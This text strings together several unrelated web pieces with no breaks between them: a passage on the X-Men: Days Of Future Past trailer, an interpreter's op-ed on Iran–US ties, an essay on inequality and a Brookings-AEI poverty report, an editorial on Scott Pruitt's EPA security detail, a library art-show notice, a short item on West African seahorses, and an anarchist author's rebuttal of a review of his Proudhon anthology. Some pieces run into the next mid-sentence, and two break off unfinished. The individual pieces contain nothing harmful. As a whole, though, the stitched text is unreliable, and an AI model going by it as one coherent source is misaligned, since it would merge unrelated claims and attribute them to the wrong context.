Then it's back to Old Charles. This juxtaposition between Fassbender and McAvoy's broken Erik and Charles and the dignified old men they become will be one of Days Of Future Past's major themes.
"When I try to direct an actor, you always try to give them a sense of who they were as young men, who they were in their past lives, and in my imagination I always had that [with Charles and Erik]," says Singer. "I was able to introduce those notions in X-Men: First Class but to actually have them performing simultaneously on screen, that was a real thrill and a challenge."
The trailer ends with the big visual that sent 6,500 people in Hall H nuts when the footage debuted at Comic-Con: the meeting of the two Xaviers, presumably on the astral plane. "Please..." pleads Stewart's Xavier of his reluctant younger self. "I need you to hope again."
"It’s an abstract scene, without giving away its origin and how it happens," says Singer. "It’s a trippy scene, it has a bit of '70s style in it and the entire scene involved a lot of interesting practical photography using mirrors and other things. It was fun to shoot, and it was great to get the two actors together."
Interestingly, it was McAvoy's first day on set, which is not a bad way to ease yourself in gently.
"I did get goosebumps," adds Singer. "I’ve got a picture on my iPhone of the two of them talking to each other. These moments need to be photographed."Iran’s attitude to the United States is like someone pining for a former, perhaps abusive lover. It has declared its contempt but also longs to again be a partner. And as is often the case, the line dividing hate and love is a thin one.
Take for instance the hostage crisis in 1979, when militant students stormed the US embassy and imprisoned diplomats in Iran for 444 days. Though it led to a breakdown of diplomatic relations, the two sides started talking behind closed doors to resolve the crisis.
Those secret bilateral talks in Algiers led to an agreement in 1981 to set up the US-Iran Claims Tribunal in The Hague to reach settlements over American assets confiscated by the revolutionaries. Iran saw the tribunal as a means to reduce tension. And while the US has yet to unfreeze Iranian assets in America, put by Tehran at over $1bn, it has promised to do so once all the cases have been settled, as most now have been.
I worked as an interpreter at the Hague Tribunal for seven years, and was impressed by the level of professionalism at the arbitration panels, frequented by high-caliber American and Iranian lawyers.
The Iranians would spend handsomely to hire British lawyers to defend them. In the end, they accepted the results of the arbitration, frequently settled against them, and paid out hefty sums in damages to US citizens and corporations.
Furthermore, regardless of our perceptions about Iran’s leaders, it has been my experience that they all wanted to restore ties with the United States. I was also an interpreter to four of Iran’s presidents, and witnessed first-hand how hard each tried to realize this goal.
Famously Ali Akbar Rafsanjani, president from 1989 to 1997, initiated secret contacts with the Americans to receive arms during the 1980-88 Iran-Iraq war, provoking the so-called Iran-Contra affair. After the 1991 Gulf War between the US and Iraq, I interpreted for him at a conference in Tehran when Rafsanjani told an audience of foreign security experts that “Iran could accept the reality of the presence of US military forces in the Persian Gulf”, although in public Iran was completely opposed to their presence.
When the reformist president Mohammad Khatami (1997-2005) visited New York in 1997, he showed sensitivity to American history by talking about the Pilgrim Fathers settling in Plymouth, Massachusetts, in the 17th century. Khatami wanted to stress that both the US and Islamic republic had roots in religious beliefs.
Khatami’s successor, Mahmoud Ahmadinejad (2005-2013), went as far as to hold a Quran and a Bible in his hands at the UN General Assembly in September 2010 to show the common religious heritage of America and Iran. Ahmadinejad often spoke in belligerent terms, especially over Israel, but he reduced his hype of the nuclear programme at the time of the election of Barack Obama.
Like Khatami, Ahmadinejad unsuccessfully requested a visit to the site of the World Trade Center in New York in remembrance of the victims of the al-Qaeda attacks of 2001. His letter to president George W Bush calling for improved relations in 2006 referred warmly to the Bible. Later, Ahmadinejad referred to president Barack Obama as “his excellency” during a UN speech, and I remember an aide thanking me specifically for translating the phrase accurately.
When Hassan Rouhani became president in 2013, he asked to speak to Obama by telephone and raised the prospect of a handshake. The phone call was granted, but not the handshake. Meanwhile, a Rouhani aide asked me if I knew whether any of the US president’s staff were Muslims, clearly showing he sought a bond with the American leadership.
Rouhani has long signalled to Washington his desire to settle the nuclear issue, and not just as president. When he led Iran’s nuclear negotiations with the European Union as secretary of the Supreme National Security Council up to 2005, Rouhani asked the then IAEA chief, Mohamed ElBaradei, to liaise with the Americans, whose shadow hovered over the talks.
Mohammad Javad Zarif, Iran’s foreign minister, told me that the famous faxed letter of 2003, when Iran proposed to the US talks aimed at a comprehensive settlement of US-Iran disagreements, came after Tehran was told by a third party that Richard Armitage, then deputy secretary of state, was ready for talks on a basis Iran would see as “mutual respect”.
What Zarif told me means that previous accounts that Iran was taking a lone initiative in sending the letter are not entirely correct. Zarif told me Iran’s fax was intended as a reply, and it was only later, as the US failed to respond, that it realised it had been misled by the third party.
Zarif refused to reveal to me who the third party was. Perhaps we can speculate it was one of the Arab states in the Persian Gulf. Ahmadinejad once told me Iran had been approached several times by third parties claiming to speak for the Americans and that some had been Gulf Arabs.
What do all these gestures mean, when chants of “death to America” in Iran have not stopped?
Clearly, Iran and the US have a convoluted relationship going back to the overthrow of the democratic government of Mohammad Mossadegh by a CIA-led coup |
be tonic for the liberal soul. It’s also propitious that the unmistakable increase in inequality to levels that violate broadly shared norms of what’s reasonable is a useful embarrassment to conservative economists and their political allies.
SINCE REAGAN, AMERICA HAS embraced much of the conservative package. Taxes are lower and less redistributive. Many benefits to the poor have been drastically cut. There is far less regulation, and the regulation that does operate is largely pro-corporate. Global trade is freer than ever and outsourcing easier. However, the basic growth trajectory has not changed and if anything is slightly slower than it was in the postwar decades. Financial deregulation caused growth to take a huge hit beginning in 2007, from which the economy is only now recovering. But inequality has soared. While some of it can be justified as meritocratic, billion-dollar hedge fund managers have few defenders and even some Republican presidential candidates want to increase their taxes.
On the inequality conundrum, conservative economists divide four ways. Some are denialists. Rising inequality is simply a mirage if you make the right adjustments to the data. Scott Winship of the Manhattan Institute operates a small cottage industry purporting to demonstrate that if you correct for a variety of factors ranging from household size to counting health insurance as income, the statistical rise in inequality mostly vanishes.
A second group concedes increasing inequality but blames it on the deterioration of values. Marry everyone off and poverty largely disappears. The income distribution is indeed much flatter if you limit the sample to married couples. The trouble with this view is that it still has to reckon with immense and widening wage and salary inequality.
A third group, latter-day supply-siders, insist that if we really get government out of the way, then the poor as well as the rich will share in a burst of entrepreneurship. That, of course, has been the conservative story ever since Reagan, yet inequality keeps increasing.
And then there are the self-described “reformicons,” who seek to define a conservative version of government anti-poverty policy, more or less in the spirit of Jack Kemp. Last year, a group of conservative intellectuals led by Yuval Levin, editor of National Affairs, and Peter Wehner, a former adviser to three Republican presidents, published a pamphlet titled “Room to Grow.” The piece begins by frankly acknowledging trends that liberals usually emphasize—persistent poverty and reduced mobility, flat earnings for the broad middle class, a general sense of diminishing life horizons. The trouble with the reformicons, however, is the disconnect between their analysis and their remedies—which are mostly small-bore, such as the expanded use of tax credits. Nor do they address the policies that have produced grotesque inequality at the top.
MEANWHILE, BACK INSIDE THE Capital Beltway, a group of center-left and center-right policy experts (mostly non-economists) have sought to reckon with power in a very different sense. They have been working for 14 months to see whether a new policy consensus is possible to reduce poverty. The group, under the auspices of the American Enterprise Institute (AEI) and the Brookings Institution, deliberately focused on poverty, not inequality, expressing a very different conception of political realism.
After a good deal of horse-trading and nearly breaking apart at several points, the group delivered an 85-page report in early December titled “Opportunity, Responsibility, and Security: A Consensus Plan for Reducing Poverty and Restoring the American Dream.” The working group included anti-poverty scholars Lawrence Aber, Sheldon Danziger, and David Ellwood on the moderate left, and Stuart Butler, Ron Haskins, and Lawrence Mead on the right. Basically, the liberals in the group conceded more than they really wanted to in terms of blaming poverty on family structure, and the conservatives conceded more than they wanted in accepting that low and stagnant wages were a big part of the story.
The manifesto blends suggestions ranging from increasing work and the rewards for working, to promoting marriage and “delayed, responsible childbearing” as well as parenting education. The liberals on the panel did win some important concessions. Conservatives agreed to a higher minimum wage and major improvements in preschool and post-secondary education. The liberals beat back demands to attach onerous conditions to food stamps.
The price that the liberals paid was that the larger issue of the income distribution was not part of the discussion or the report. It focused on a relatively narrow stratum of the income distribution—the working poor and near-poor. The group largely ignored the struggles of the very poor, of the sort addressed in Kathryn Edin and H. Luke Shaefer’s new book, $2.00 a Day: Living on Almost Nothing in America (see our review, also in this issue). Nor did the report engage the downward mobility and economic stress on the broad, working middle class. Nor did the group did address the extreme pulling-away of the top.
And unlike the Atkinson book, the panel did not discuss power. To read the report, one would think that cuts in outlays on the poor, the brutal slashing of welfare benefits in TANF, wage stagnation, and what the authors delicately termed “weakening” of “collective bargaining” just happened. The elephant in the room, in more senses than one, was the Republican war on the welfare state. This was never mentioned. Instead, there was the usual imputation of partisan symmetry to legislative blockage (“When one political party offers a proposal, the other usually disagrees…”), of the sort that Jacob Hacker and Paul Pierson so powerfully refuted in their book, Off Center, and in other research. The report also clings to the largely discredited story that low earnings are mainly a reflection of low skills.
Despite these omissions, a large majority of Americans would probably accept these policy ideas as a reasonable way of combating poverty, if they could just get a legislative hearing. I interviewed several members of the working group and they generally agreed that these policy proposals, if accepted, would probably reduce the rate of poverty in America by a few percentage points—no small achievement.
The aspiration of serving as a kind of role model for Congress, to show that sensible right and sensible left can agree on a core common program, is not a crazy idea. But as one of the panelists ruefully admitted, “these proposals do not stand a snowball’s chance” of making it through the current Congress. Just as Atkinson’s newly mainstream ideas are somewhere to the left of Senator Bernie Sanders’s presidential campaign, the report of the Brookings-AEI working group is to the left of the entire Republican House—thus neatly proving Atkinson’s point that it really is about power.
The conservatives in the group, looking over their shoulders at their political allies, demanded and got some changes that bordered on the absurd. The report is emphatic on the point that child-bearing should be delayed—but the report distances itself from the most effective form of contraception, long-acting reversible contraceptives (LARCs), the new generation of IUDs that are far safer and more effective than earlier ones, and which have dramatically reduced unwanted pregnancies. Why the distance? As the report tactfully puts it, some opponents of LARCs see them “as potentially a form of abortion.” Yet the concessions by the liberals on the panel are unlikely to change a single Republican vote in Congress.
J. Scott Applewhite/AP Photo The Speaker: Paul Ryan professes to care about poverty, but his numbers don't compute.
A report such as this one would nicely fit an era when there were still moderate Republicans in Congress. Indeed, the groundwork for the 1996 reform “ending welfare as we know it” was laid by similar left-right academic efforts. And because of the hard line of the Gingrich Congress, the welfare reform that Clinton signed, after vetoing two even worse versions, features a TANF block-grant design that is brutally punitive on people who really need help. Indeed, three subcabinet members who had designed the original Clinton welfare reform resigned in protest.
Conservatives organizing liberals to support center-right policies in the name of realism dates at least to the Reagan era. In 1987, AEI organized a similar working group that published a report titled “The New Consensus on Family and Welfare.” The participants ranged from Charles Murray on the right to Robert Reischauer and Alice Rivlin on the moderate left. The recommendations, many of which parallel those of the latest report, are more Murray than Reischauer. The working groups on deficit reduction grew in the same soil of centrist policy intellectuals (including some of the same people) desperately seeking bipartisanship and mostly getting rolled by conservatives, culminating in the disastrous Bowles-Simpson Commission. That commission utterly failed to win popular support, but it created an elite policy consensus that combined with Republican political hardball to lock a Democratic administration into a decade of relentless budget cuts in domestic social programs, one that moots the calls for increased spending in the AEI-Brookings report.
The keynote speaker at the December 3 event unveiling the Brookings-AEI report was New York Times columnist David Brooks. That choice speaks volumes. Brooks is emblematic of the sort of moderate conservative who no longer exists in the Republican caucus.
If one can indulge optimism bordering on euphoria, it’s possible to imagine a scenario in which Donald Trump wins the Republican nomination, Hillary Clinton is elected in a landslide, and the Senate goes narrowly Democratic, though the House is virtually certain to stay Republican. In those circumstances, some of the modest Brookings-AEI ideas might actually become law.
Paul Ryan, the new House Speaker, professes to care about poverty. His own anti-poverty program, unveiled when he was chair of the House Budget Committee, was more or less reformicon. It accepted that increased poverty was a problem, and he even made some policy proposals. But as critics noted at the time, Ryan’s numbers didn’t compute. They added up to massive cuts in existing outlays and largely precluded new ones.
However, it’s possible that with a Democratic president, a Democratic Senate, and a Republican House with a reduced majority, some elements of the Brookings-AEI package might make it through Congress. At the same time, Republicans are still working to turn food stamps into a block grant, which would drastically cut benefits, and they have continued to try to kill the Affordable Care Act and slash other social outlays. If everything breaks right politically in 2016 (which is a big if), poverty could be modestly reduced, especially for the working poor, but the larger problems of income inequality will continue to worsen.
So which group represents the greater realism? Is it the pursuit of incremental policy changes aimed at modest reductions in poverty? Or is it work like Atkinson’s, acknowledging that a real improvement in the broader income distribution would require a sure grasp of power dynamics as well as policy changes well to the left of anything currently in mainstream debate?
I suppose you might say we need both. The AEI-Brookings effort seems more rooted in the near-term politics of the possible, though, as noted, the several members whom I interviewed don’t believe that the current Republican Congress will touch even these toned-down ideas. The Atkinson analysis reflects a deeper understanding of the economic realities. Possibly, the AEI-Brookings effort will serve as a role model to a post–Tea Party generation of Republicans picking up the pieces from what could be a 2016 blowout, though if Trump self-destructs and Marco Rubio is the nominee, it’s a whole other story. One must also hope that the work of Atkinson, Reich, Stiglitz, Solow, and others will energize a muscular progressive realism that pushes outward the politics of the possible.Scott Pruitt, Administrator of the U.S. Environmental Protection Agency, at the Concordia Summit in New York, Sept. 19.
Scott Pruitt, Administrator of the U.S. Environmental Protection Agency, at the Concordia Summit in New York, Sept. 19. Photo: jeenah moon/Reuters
Reform in Washington is always difficult, but at the Environmental Protection Agency it’s also dangerous. Since the Trump Administration took office, the agency has investigated more than 70 credible threats against EPA staffers, with a disproportionate number menacing Administrator Scott Pruitt and his family. The EPA responded by beefing up his security detail, but Mr. Pruitt’s political opponents are now trying to hold these warranted precautions against him.
Mr. Pruitt has received more than five times as many threats as his predecessor, Gina McCarthy. These include explicit death threats. Some have referenced Mr. Pruitt’s home address. Federal law enforcement has determined that some of those threatening Mr. Pruitt are likely capable of carrying out acts of violence. EPA security has already caught suspects prowling around the administrator’s neighborhood.
Mr. Pruitt would doubtless prefer the absence of threats to the presence of security. But his critics have suggested he’s part of the problem. Mr. Pruitt is a “pallid, oily anti-environment corporate shill,” SFGate columnist Mark Morford wrote last week, and “when you send death threats to the world and all who live on her, the world will, quite naturally, send them right back.”
Reps. Peter DeFazio (Ore.) and Grace Napolitano (Calif.) have called for the inspector general to launch an investigation into Mr. Pruitt’s security measures. The expenditures “constitute potential waste or abuse of taxpayer dollars,” they wrote in an Oct. 4 letter. The duo also claimed that “there is no apparent security threat against the Administrator to justify such a security detail or expenditures.”
But the EPA inspector general’s office—in addition to the agency’s criminal enforcement division and protective service—recommended 24/7 security for Mr. Pruitt based on the unprecedented threats. A lean team of agents share the responsibility for safeguarding Mr. Pruitt, and their salaries will cost taxpayers roughly $2 million a year. The EPA’s other safety precautions include a $15,780 upgrade of the card-access system in EPA offices.
Mr. Pruitt didn’t invent these threats, and Cabinet members shouldn’t have to fear violence as a price of public service. When the federal government protects Cabinet members from those who would harm them for doing their jobs, it is protecting American democracy.What do middle school, Occupy, ice cream and street art have in common? Twelve-year-old ELIAS DUCHOWNY, that’s what! Elias grabbed our attention with his truly inspired first art show at Tara’s Organic Ice Cream in North Oakland. This fall, Oakland Public Library is happy to host Elias’ first official institutional exhibit, showcasing new large-format works inspired by the Bay Area’s vibrant street art scene, the recent upswell of class conscious activism through the Occupy movement, and life in the East Bay. Come out for an OPENING RECEPTION at the Main Library TeenZone on September 22, with live art demos by local artists and hands-on activities for all ages led by ROCK PAPER SCISSORS COLLECTIVE. As Elias put it, “I go to a school without any art classes for kids my age. My school district doesn’t think that art is a priority. I do.” Here, at the library, we agree.Join Elias and friends as we make (and appreciate) some art together. Info Contact: Amy 510-238-7233The rare West African seahorse has been filmed in the wild for possibly the first time. Researchers hope to learn more about the species and help create a more sustainable trade in the animal. It's estimated that around 150 million seahorses are sold annually for traditional medicine worldwide.
--Originally published October 11, 2012
For possibly the first time, video of the little-known West African seahorse, has been captured in the wild.
Zoological Society of London researcher Katie West recorded the video while travelling with local fisherman off the coast of Senegal.
SOUNDBITE: Katie West, Researcher: "We've seen the first live seahorse, and it's about this big... and it's really difficult to film."
Researchers are concerned for the species because within the last 20 years or so, the seahorses have been increasingly harvested and exported for use in traditional Chinese medicine.
An estimated 600,000 are sold each year.
Poor visibility and rough diving conditions make it difficult to study the West African seahorse, so, little is known about it
The bright reddish-brown seahorse is one of two native species exported around the world, and since 2002 it has been on the IUCN Red List of Threatened Species.Property is Theft! seems to have got its first review – James Tansey’s “Marx, Proudhon and political struggle”. Well, I say review. It is not really a review, rather it is an extended commentary on my discussion of Proudhon and Marx plus various arguments on why mutualism is capitalist. My book is, in short, utilised as a means of explain why Marx was right. Shame, then, that in so doing the author has to deny various explicit and awkward comments by Marx. Thus we have the strange experience of seeing Marxists arguing against Marx, explaining what Marx “really” meant in the face of what Marx actually wrote.
First off, it is fair to say that the quality of the review is best shown by the fact Tansey does not get my name right. Really, it is on the front of the book (not that I think he actually has seen a copy as I got MY copy after he posted his review!). Still, that is not important as he is not actually reviewing the book. He is explaining why Marx was right and why Proudhon (proclaimed a socialist by both Marx and Engels) actually aimed for capitalism. So, on that basis I will reply to his comments. Unfortunately, this will involve quoting Marx and Engels a bit – such is the way with true-believers though.
He starts off badly, quoting Italian communist Amadeo Bordiga who argued that it is not simply to take-over workplaces and place them under self-management. Quite. I quoted Emma Goldman on precisely that point in the introduction to the book (footnote 237, page 49). He also proclaimed that “Communism involves the reorganisation of the whole of human life, and the old productive model… needs to be denounced, and then totally destroyed from top to bottom.” Again, this is something of a theme in section I of An Anarchist FAQ. Fair enough, I did not explicitly discuss it in Property is Theft! as it was somewhat an aside to the main issue – namely Proudhon’s ideas. However, Proudhon himself was pretty clear that creating co-operatives was just a first stage in a general social transformation – one which could not be specified before hand (as the utopian socialists did).
The author does state that the book “is an important contribution for all students of socialism.” And, yes, he did influence “the French working class movement” and Bakunin. Still, reading Proudhon’s works shows how false it is for Tansey to proclaim that Proudhon “developed a focus on ethical opposition to forms of social hierarchy and authority as a basis for anti-capitalist politics.” This is a mockery of his analysis. As the section of the introduction “On The State” shows, Proudhon rejected using the state because he thought it was “enchained to capital and directed against the proletariat.” (Property is Theft!, p. 226) Unlike Marx, he did not think the working class could use political action to capture it. Proudhon also argued that it could not be used to create socialism as socialism had to be created by the workers themselves, from below.
It would be fair to say that in both of these points, history has proven Proudhon right. Few Marxists these days agree with Marx and Engels that the bourgeois state can be captured by “political action” (the SPGB being an exception and they stick, as I indicate in section H.3.10 of An Anarchist FAQ, with actual Marxism). Most also pay lip-service to socialism from below. Sadly, the experience of Marxist regimes has proven Proudhon correct – the masses did not govern themselves, the party ruled them.
Tansey notes that “Proudhon’s work also serves as a precursor to the varies forms of “market socialism” such as that of David Schweikhart” and “also bears relation to those political economists who, like Keynes, have sought to save capitalist society as a whole by destroying those forms of capital deemed ‘parasitic’, namely financial/interest-bearing capital.” That last comment provokes a footnote:
“Lest the reader think the reference to Keynes ungenerous, we should note that this observation stems from McKay himself who in his introduction notes that Keynes had rated highly the work of one of Proudhon’s followers.”
True, but Tansey completely fails to note that I also mention (in the section “On Credit”) that Proudhon’s critique of “parasitic” forms of capital went far beyond Keynes and included the industrial capitalist! It is easy to understand why, given that for Tansey wage-labour does not actually define capitalism. Still, it would be nice to note that Proudhin viewed himself as destroying capitalism rather than saving it. And I should point out that when Keynes was working on the General Theory he actually made some positive comments on Marx’s analysis which sadly did not end up in the final version. I guess Keynes turned to many thinkers to try and save capitalism from itself.
In short, the “name of Proudhon then, is tied deeply to currents of socialism opposed to that inaugurated by Karl Marx and his associate Friedrich Engels.” Except, of course, Schweikhart considers himself a Marxist and Tansey goes on to proclaim that Proudhon’s ideas are not socialist!
The real reason for this “review” is stated: “Proudhon’s ideas are certain to be invoked... by those who would seek to argue that the failure that was the Soviet experience was the result” was “the subjective factor, the Bolshevik’s self-proclaimed ideology of Marxism. This is certainly the argument put forward by the book’s editor, Ian McKay.” And it is, as I discuss in section H of An Anarchist FAQ – obviously, in a book about Proudhon’s ideas I could not expound on this issue and so Property is Theft! would not be the best place to go to find a discussion of the relative importance of objective and subjective factors in the Bolshevik revolution (section H.6 provides a summary).
I apparently believe that “the statist detour of the 20th century working class movement into the avenues of social democracy and “official” communism (otherwise known as Stalinism) is a result of fundamental flaws in Marxian modes of analysis.” Tansey misses out Bolshevism, what was “official” communism until the rise of Stalinism – the one which imposed Party dictatorship, one-man management, extreme bureaucratic centralism, repressed strikes, broke-up and gerrymandered soviets all before 1919 (again, section H.6 provides a summary). Still, best not to mention that….
Tansey seems genuinely shocked that an anarchist would argue that the “alternative is to turn, not to one of the many currents of Marxism developed in opposition to the aforementioned trends, but instead to turn to an analysis based on the theorists of anarchism.” That would be because anarchism has been proven right time and time again – so right, in fact, that Marxists (of many currents) have appropriated our ideas (see section H.3.5 of An Anarchist FAQ). Starting with Proudhon’s ideas…
He does admit that he “cannot possibly claim to deal satisfactorily with all of these fundamental issues in the course of a single article” and so he concentrates on the appendix on Marx. To do this he will “lay out the nature of certain fundamental concepts in Marx’s critique of political economy, in particular the concept of capital.” Sadly, though, he does not. In fact, he explicitly rejects most of them. Ignoring that he just called him a socialist, Tansey proclaims his main aim is to “show that Proudhon advocates a form of capitalism in Marx’s sense and the claimed plagiarism of Proudhon which McKay ascribes to Marx are thus due to a misreading of Marx’s concepts.” Both, of course, are false.
The “first distortion that we find is McKay claiming that Marx appropriated the famous slogan that “the emancipation of the working-class must be the act of the working-class themselves” from Proudhon.” Actually, I did not. This is what I wrote (page 69):
“In terms of politics, Marx also repeated Proudhon. When Marx placed ‘the emancipation of the working classes must be conquered by the working classes themselves’ in the statues of the IWMA, the mutualist delegates must have remembered Proudhon’s exhortation from 1848 that ‘the proletariat must emancipate itself without the help of the government.’”
In short, both subscribed to the idea of working class self-emancipation. Now, Proudhon did say that in 1848 (repeating similar comments made earlier in the 1840s). The IWMA was formed, by Proudhon’s followers, in the 1860s. Now, would they not have thought that expression sounded familiar?
But Tansey is having none of that! I “should know well enough that this would not have been Marx’s intention, as he had all his life fought for the idea that it was ‘the great duty of the working classes’ to ‘conquer political power’ and that to be successful in their struggle workers’ would have to ‘employ forcible means, hence governmental means’ against the capitalist class.” And does Tansey not know that I commented, in a footnote, that Marx “repeatedly stated that universal suffrage gave the working class political power and so could be used to capture the state. See section H.3.10 of An Anarchist FAQ.” In short, that it is obvious that Proudhon and Marx did not agree on the means for proletarian self-emancipation?
Is Tansey really suggesting that readers would think that Marx and Proudhon advocated the same means of working class self-emancipation? Personally, I think they would know enough about the subject to understand that Marx and Proudhon disagreed on this issue (particularly as, on page 28, the issue of political action dividing the anarchists from Marxists is mentioned). They would also know, I hope, that the net effect of Marxists seeking and gaining governmental power has simply confirmed the anarchist critique! Social Democracy became as reformist as Bakunin predicted and the “dictatorship of the proletariat” proved to be the “dictatorship over the proletariat” as Proudhon (and Bakunin) warned (although, of course, not precisely in those words - see section H.1.1 of An Anarchist FAQ). And I should note that “the government” Proudhon was referring to was the bourgeois government of the time. And I should note that Marx shared Proudhon’s opposition to bourgeois-state funding for co-operatives (as desired by Lasselle)
All of which means that Tansey’s comments that Marx would not be “plagiarising a phrase which he directly disagreed with” seem pointless. I was pointing to their shared support for working class self-emancipation – although, apparently, I seem “determined to dig up anything he can which would implicate Marx in some kind of mean-spirited conspiracy against Proudhon.” You mean, perhaps, like making stuff up? Tampering with quotes? Selectively quoting? And the other activities Marx got up to in The Poverty of Philosophy? But, then, Tansey cannot bring himself to mention that…
Tansey objects to my suggesting that “Marx’s understanding of labour-power and surplus-value sounds “remarkably like” Proudhon’s axiom that “all labour must leave a surplus.”“ No, apparently Proudhon arguing that bosses hire workers, control their labour, keep its product and pocket the surplus is completely different from Marx’s analysis that bosses hire workers, control their labour, keep its product and pocket the surplus! Why? Because Proudhon’s analysis is “trans-historical”! Does that mean slave-owners and feudal lords did not keep the surplus product of their slaves/serfs? Well, yes. As Marx noted:
“Capital did not invent surplus labour. Wherever a part of society possesses the monopoly of the means of production, the worker, free or unfree, must add to the labour-time necessary for his own maintenance an extra quantity of labour time in order to produce the means of subsistence for the owner of the means of production” (Capital, vol.1, p. 344)
Production of a surplus will also apply in a mutualist or communist economy, the difference being that this surplus will be controlled by those who produce it (mutualism) or society as a whole (communism). However, as both Proudhon and Marx noted, capitalism is marked by wage-labour, when (to quote Tansey) “labour-power is a commodity whose use-value is to be a source of value.” This is discussed in various places in the introduction.
Tansey proclaims that “Marx was not the first to note that the worker did not receive back what they produced during a given production period. Ricardian socialists had noted this before Proudhon even.” Shame, then, that both Marx and Engels failed to mention the Ricardian socialists – when Capital was published Engels gushed that Marx was the first to show how exploitation happened in production. I quote Engels saying this (footnote 37, page 9) and compare it to Proudhon’s earlier argument that workers sell their liberty to a boss who makes them produce a surplus. Still, it was remiss of me not to mention the Ricardian socialists – particularly as Marx plagiarised them as well (but that would, I am sure, have counted towards my anti-Marxism!). And I should note that, unlike Marx in the 1860s, Proudhon seemed unaware of the Ricardian socialists in 1840 (until Marx pointed to them in 1847).
Now we get to the fun part, entitled “Proudhon’s advocacy of capitalism”. This is “the meat and potatoes of the argument” as I argue that “Proudhon did not advocate a society which would be recognisable as a capitalist society. To see the validity of these claims, we can start by examining the kind of society which Marx outlined as the basis of his critique in Capital Volume One.” Yes, let us do precisely that. After all, I quote from Capital and other works to support my argument. It will be interesting to see how Tansey gets around these quotes.
Tansey begins by stating that “Marx began his magnum opus, Das Kapital, with an analysis of the social form taken by wealth in capitalist society – the commodity-form.” Yes, he does start there. But the meat of his work is when he moved away from the market into production: “Let us... leave this noisy sphere, where everything takes place on the surface and in full view of everyone, and follow them into the hidden abode of production... The sphere of circulation or commodity exchange... is in fact a very Eden of the innate rights of man... When we leave this sphere... a certain change takes place, or so it appears.” (Capital, vol. 1, pp. 279-80) This is our first clue that commodity production is not, from Marx’s perspective, enough to define capitalism.
Tansey argues that the “fact that wealth takes on the form of commodities is conceived by Marx in the first chapter of Capital as the result of the atomisation of the producers, their production as isolated enterprise units, as private property owners.” Yet it does not tell us anything about the mode of production! As Marx argued, the “character of the production process from which [goods] derive is immaterial” and so on the market commodities come “from all modes of production” – for example, they could be “the produce of production based on slavery, the product of peasants..., of a community..., of state production (such as existed in earlier epochs of Russian history, based on serfdom) or half-savage hunting peoples.” (Capital, vol. 2, pp. 189-90) Thus “the production and circulation of commodities do not at all imply the existence of the capitalist mode of production” (Capital, vol. 1, p. 949)
Tansey states that it “would thus appear obvious that Proudhon’s system of worker-managed enterprises competing on the marketplace would fall victim to the critique put forward by Marx in Capital. But McKay denies this.” Not only me, Marx does to! For example:
“Let us suppose the workers are themselves in possession of their respective means of production and exchange their commodities with one another. These commodities would not be products of capital.” (Capital, vol. 3, p. 276)
I do quote that in the introduction (page 78) along with many other references to Marx saying the same thing. I even quote a letter from Engels (page 32) to one of his followers explaining that the production of commodities does not equal capitalism. So the “object of production – to produce commodities – does not import to the instrument the character of capital” as the “production of commodities is one of the preconditions for the existence of capital... as long as the producer sells only what he himself produces, he is not a capitalist; he becomes so only from the moment he makes use of his instrument to exploit the wage labour of others.” (Marx-Engels Collected Works 47: 179-80) In this he repeats Marx:
“It is otherwise with capital. The historical conditions of its existence are by no means given with the mere circulation of money and commodities. It arises ONLY when the owner of the means of production and subsistence finds the free worker available, on the market, as the seller of his labour-power. And this ONE historical condition comprises a world’s history.” (emphasis added, Capital, vol. 1, p. 274)
Tansey then gets a bit confused. He argues that for me, “Proudhon does not advocate capitalism in the sense of the system critiqued throughout the three volumes of Das Kapital, and Marx’s claiming that he did is merely more evidence of Marx’s desire to crush Proudhon’s doctrine through any backhanded means necessary.” Actually, I was explaining the confusions within Marx’s attacks on Proudhon and how they contradict his numerous comments that capitalism did not equal commodity production. I even quote Marx (page 69) nearly recognising this:
“In order that it should be impossible for commodities and money to become capital and therefore be lent as capital in posse [in potential but not in actuality], they must not confront wage-labour. If they are... not to confront it as commodities and money... labour itself is not to become a commodity... this is only possible where the workers are the owners of their means of production... Mr. Proudhon’s hatters do not appear to be capitalists but journeymen.” (Theories of Surplus Value vol. 3, pp. 525-6)
Note that Marx states that when “labour itself is not to become a commodity” then it is “impossible for commodities and money to become capital” as “the workers are the owners of their means of production.” This is important and it is a subject to which I will return.
Tansey does admit that this restatement of Marx’s own position “is only partly accurate” however as confusion between commodity production and capitalism “is actually non-existent.” Really? So Engels and Marx were wrong? Let us see…
Tansey states that “Volume I begins with the fact that capitalist production is the production of commodities” and so ignores the many times when Marx notes that the production of commodities takes place in many different modes of production. Thus “the exchange of commodities” can take place “not just [as] an exchange between the immediate producers” but also in “the slave relationship, the serf relationship, and the relationship of tribute.” (Capital, vol. 3, p. 443) Marx does link this to “social production is carried on by individual enterprises for their own private account” but he was well aware that this did not determine the mode of production. Commodities can be produced by slaves, artisans, peasants, capitalists, a state, and so forth.
Tansey then notes that the ‘simple circulation of commodities involves the exchange of commodities for money, which is then exchanged for commodities which are consumed – selling in order to buy.” This, however, “cannot” be the “basis of a society in which wealth generally takes the form of commodities. The basis of the latter is found in a new form of circulation, wherein the object is no longer use-value, but exchange-value.” This, apparently, ensures that Tansey is “in a position to counter McKay’s arguments with regards to Marx’s supposed confusion between commodity production and capitalism.” This starts badly, as he acknowledges that “in pre-capitalist societies, commodity production did not entail capitalism.” However, in a ‘society of generalised commodity production must therefore necessarily be, in Marx’s theory, a society in which production is the production of surplus-value and hence capital.” But it is not. I’ve just quoted Marx and Engels explicitly stating that this is NOT the case. Here it is again:
“Let us suppose the workers are themselves in possession of their respective means of production and exchange their commodities with one another. These commodities would not be products of capital.” (Capital, vol. 3, p. 276)
He notes that the workers “have created... new value, i.e., the working day added to the means of production. This would comprise their wages plus surplus-value, the surplus-labour over and above their necessary requirements [that sounds like a “trans-historic” labour-surplus!], though the result of this would belong to them.” (p. 276) So “surplus-value” has been produced, but it is not the product of capital. Why? Because the workers own their own means of production. Marx was very clear on this:
“the means of production and subsistence, while they remain the property of the immediate producer, are not capital. They only become capital under circumstances in which they serve at the same time as means of exploitation of, and domination over, the worker.” (Capital, vol. 1, p. 933)
Somewhat ironically, Tansey states that in “order to show that we are not just constructing a theory arbitrarily using selective quotation, let us quote directly from Marx’s work.” Sadly, he ignores all those quotes by Marx which do not support his analysis. He does mention my “quoting of Marx’s statement [statement? There are many!] that where the individual producers own their means of production that the means of production do not constitute capital? He uses |
